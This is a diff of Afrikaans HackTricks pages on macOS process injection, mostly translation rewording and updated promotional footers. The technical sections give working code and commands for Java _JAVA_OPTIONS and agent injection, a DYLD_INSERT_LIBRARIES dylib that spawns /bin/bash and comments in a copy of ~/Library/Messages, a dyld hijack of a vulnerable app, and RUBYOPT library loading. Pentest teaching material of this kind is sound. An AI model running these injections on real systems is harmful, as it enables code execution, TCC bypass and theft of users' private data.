{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
As 'n ontwikkelaar nie die weergawe van die kliënt wil nagaan nie, kan hy ten minste nagaan of die kliënt vatbaar is vir prosesinjeksie:
|
||||
As 'n ontwikkelaar nie die weergawe van die kliënt wil nagaan nie, kan hy ten minste nagaan dat die kliënt nie kwesbaar is vir prosesinspuiting nie:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -110,16 +111,17 @@ return Yes; // Accept connection
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Java Toepassingsinspuiting
|
||||
# macOS Java Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Opname
|
||||
## Enumeration
|
||||
|
||||
Vind Java-toepassings wat op jou stelsel geïnstalleer is. Daar is opgemerk dat Java-toepassings in die **Info.plist** sekere Java-parameters bevat wat die string **`java.`** bevat, so jy kan daarna soek:
|
||||
Vind Java-toepassings wat op jou stelsel geïnstalleer is. Dit is opgemerk dat Java-toepassings in die **Info.plist** sekere java parameters sal bevat wat die string **`java.`** bevat, so jy kan daarna soek:
|
||||
```bash
|
||||
# Search only in /Applications folder
|
||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||
|
@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
|||
```
|
||||
## \_JAVA\_OPTIONS
|
||||
|
||||
Die omgewingsveranderlike **`_JAVA_OPTIONS`** kan gebruik word om willekeurige Java parameters in te spuit tydens die uitvoering van 'n Java-gekompileerde app:
|
||||
Die omgewing veranderlike **`_JAVA_OPTIONS`** kan gebruik word om arbitrêre java parameters in die uitvoering van 'n java gecompileerde toepassing in te spuit:
|
||||
```bash
|
||||
# Write your payload in a script called /tmp/payload.sh
|
||||
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
```
|
||||
Om dit as 'n nuwe proses uit te voer en nie as 'n kind van die huidige terminaal nie, kan jy die volgende gebruik:
|
||||
Om dit as 'n nuwe proses uit te voer en nie as 'n kind van die huidige terminal nie, kan jy gebruik maak van:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||||
|
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Egter, dit sal 'n fout veroorsaak op die uitgevoerde app, 'n meer heimlike manier is om 'n Java-agent te skep en die volgende te gebruik:
|
||||
However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
|||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Die skep van die agent met 'n **verskillende Java-weergawe** as die aansoek kan die uitvoering van beide die agent en die aansoek laat crasht
|
||||
Die skep van die agent met 'n **ander Java weergawe** as die toepassing kan die uitvoering van beide die agent en die toepassing laat crash
|
||||
{% endhint %}
|
||||
|
||||
Waar die agent kan wees:
|
||||
|
@ -119,7 +120,7 @@ err.printStackTrace();
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Om die agent te kompileer, voer die volgende uit:
|
||||
Om die agent te kompileer, voer uit:
|
||||
```bash
|
||||
javac Agent.java # Create Agent.class
|
||||
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
||||
|
@ -131,7 +132,7 @@ Agent-Class: Agent
|
|||
Can-Redefine-Classes: true
|
||||
Can-Retransform-Classes: true
|
||||
```
|
||||
En voer dan die omgewingsveranderlike uit en hardloop die Java-toepassing soos volg:
|
||||
En dan voer die omgewing veranderlike uit en hardloop die java-toepassing soos:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -142,12 +143,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
|||
```
|
||||
## vmoptions-lêer
|
||||
|
||||
Hierdie lêer ondersteun die spesifikasie van **Java-parameters** wanneer Java uitgevoer word. Jy kan van die vorige truuks gebruik maak om die Java-parameters te verander en die proses **willekeurige opdragte te laat uitvoer**.\
|
||||
Verder kan hierdie lêer ook **ander lêers insluit** met die `include`-opdrag, sodat jy ook 'n ingeslote lêer kan verander.
|
||||
Hierdie lêer ondersteun die spesifikasie van **Java params** wanneer Java uitgevoer word. Jy kan sommige van die vorige truuks gebruik om die java params te verander en **die proses in staat te stel om arbitrêre opdragte uit te voer**.\
|
||||
Boonop kan hierdie lêer ook **ander insluit** met die `include` gids, so jy kan ook 'n ingeslote lêer verander.
|
||||
|
||||
Selfs meer, sommige Java-programme sal **meer as een `vmoptions`-lêer laai**.
|
||||
Nog meer, sommige Java-apps sal **meer as een `vmoptions`** lêer laai.
|
||||
|
||||
Sommige programme soos Android Studio dui in hul **uitset aan waar hulle na hierdie lêers kyk**, byvoorbeeld:
|
||||
Sommige toepassings soos Android Studio dui in hul **uitset aan waar hulle soek** vir hierdie lêers, soos:
|
||||
```bash
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||||
|
||||
|
@ -158,7 +159,7 @@ Sommige programme soos Android Studio dui in hul **uitset aan waar hulle na hier
|
|||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
```
|
||||
As hulle dit nie doen nie, kan jy dit maklik nagaan met:
|
||||
As hulle nie, kan jy dit maklik nagaan met:
|
||||
```bash
|
||||
# Monitor
|
||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||
|
@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
|||
# Launch the Java app
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||||
```
|
||||
Let op hoe interessant dit is dat Android Studio in hierdie voorbeeld probeer om die lêer **`/Applications/Android Studio.app.vmoptions`** te laai, 'n plek waar enige gebruiker van die **`admin` groep skryftoegang het**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
Let op hoe interessant dit is dat Android Studio in hierdie voorbeeld probeer om die lêer **`/Applications/Android Studio.app.vmoptions`** te laai, 'n plek waar enige gebruiker van die **`admin` groep skryfrek toegang het.**
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
|
||||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DYLD_INSERT_LIBRARIES Basiese voorbeeld
|
||||
## DYLD\_INSERT\_LIBRARIES Basiese voorbeeld
|
||||
|
||||
**Biblioteek om in te spuit** om 'n skul te hardloop:
|
||||
**Biblioteek om in te voeg** om 'n shell uit te voer:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
|
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
|
|||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
Binêre teks om aan te val:
|
||||
Binaar om aan te val:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
@ -45,13 +46,13 @@ printf("Hello, World!\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Injeksie:
|
||||
Injection:
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Dyld Hijacking Voorbeeld
|
||||
|
||||
Die geteikende kwesbare binêre lêer is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
Die geteikende kwesbare binêre is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="entitlements" %}
|
||||
|
@ -91,12 +92,12 @@ compatibility version 1.0.0
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaai biblioteke nagaan nie** en dit **probeer 'n biblioteek laai vanaf**:
|
||||
Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaaide biblioteke nagaan nie** en dit **probeer om 'n biblioteek te laai vanaf**:
|
||||
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
Tog bestaan die eerste een nie:
|
||||
Maar die eerste een bestaan nie:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
|
@ -104,7 +105,7 @@ pwd
|
|||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
So, dit is moontlik om dit te kaap! Skep 'n biblioteek wat **willekeurige kode uitvoer en dieselfde funksionaliteite uitvoer** as die regte biblioteek deur dit weer uit te voer. En onthou om dit te kompileer met die verwagte weergawes:
|
||||
So, dit is moontlik om dit te kaap! Skep 'n biblioteek wat **enige willekeurige kode uitvoer en dieselfde funksies as die wettige biblioteek uitvoer deur dit weer te herexporteer**. En onthou om dit te compileer met die verwagte weergawes:
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
|
@ -117,14 +118,16 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Kompilieer dit:
|
||||
Kompile dit:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||
# Note the versions and the reexport
|
||||
```
|
||||
Die heruitvoerpad geskep in die biblioteek is relatief tot die laaier, laat ons dit verander na 'n absolute pad na die biblioteek om uit te voer:
|
||||
{% endcode %}
|
||||
|
||||
Die herexportpad wat in die biblioteek geskep is, is relatief aan die laaier, kom ons verander dit na 'n absolute pad na die biblioteek om te exporteer:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -145,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Laastens, kopieer dit net na die **gekaapte plek**:
|
||||
Laastens kopieer dit net na die **gekaapte ligging**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -153,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
En **voer** die binêre lêer uit en kontroleer of die **biblioteek gelaai is**:
|
||||
En **voer** die binêre uit en kyk of die **biblioteek gelaai is**:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gehack in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gehuistak in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Gebruik: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
'n Goeie uiteensetting oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van Telegram te misbruik, kan gevind word op [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
'n Goeie skrywe oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van telegram te misbruik, kan gevind word in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
{% endhint %}
|
||||
|
||||
## Groter Skala
|
||||
## Groter Skaal
|
||||
|
||||
As jy van plan is om te probeer om biblioteke in onverwagte binêre lêers in te spuit, kan jy die gebeurtenisboodskappe nagaan om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die `/bin/bash` uitvoering).
|
||||
As jy van plan is om te probeer om biblioteke in onverwagte binêre te inspuit, kan jy die gebeurtenisboodskappe nagaan om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die `/bin/bash` uitvoering).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Ruby Toepassingsinspuiting
|
||||
# macOS Ruby Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## RUBYOPT
|
||||
|
||||
Deur hierdie omgewingsveranderlike te gebruik, is dit moontlik om **nuwe parameters by te voeg** aan **ruby** wanneer dit uitgevoer word. Alhoewel die parameter **`-e`** nie gebruik kan word om ruby-kode spesifiek uit te voer nie, is dit moontlik om die parameters **`-I`** en **`-r`** te gebruik om 'n nuwe vouer by die biblioteekspad te voeg en dan **'n biblioteek om te laai** te spesifiseer.
|
||||
Deur hierdie omgewing veranderlike te gebruik, is dit moontlik om **nuwe parameters** by **ruby** te voeg wanneer dit uitgevoer word. Alhoewel die parameter **`-e`** nie gebruik kan word om ruby kode aan te dui om uit te voer nie, is dit moontlik om die parameters **`-I`** en **`-r`** te gebruik om 'n nuwe gids by die biblioteke laai pad te voeg en dan **'n biblioteek aan te dui om te laai**.
|
||||
|
||||
Skep die biblioteek **`inject.rb`** in **`/tmp`**:
|
||||
|
||||
|
@ -26,7 +27,7 @@ puts `whoami`
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Skep enige plek 'n ruby-skrips soos:
|
||||
Skep enige plek 'n ruby-skrip soos:
|
||||
|
||||
{% code title="hello.rb" %}
|
||||
```ruby
|
||||
|
@ -34,24 +35,25 @@ puts 'Hello, World!'
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Maak dan 'n willekeurige ruby-skrip en laai dit met:
|
||||
Laastens maak 'n arbitrêre ruby-skrip dit laai met:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||
```
|
||||
Interessante feit, dit werk selfs met die parameter **`--disable-rubyopt`**:
|
||||
Fun fact, dit werk selfs met die param **`--disable-rubyopt`**:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
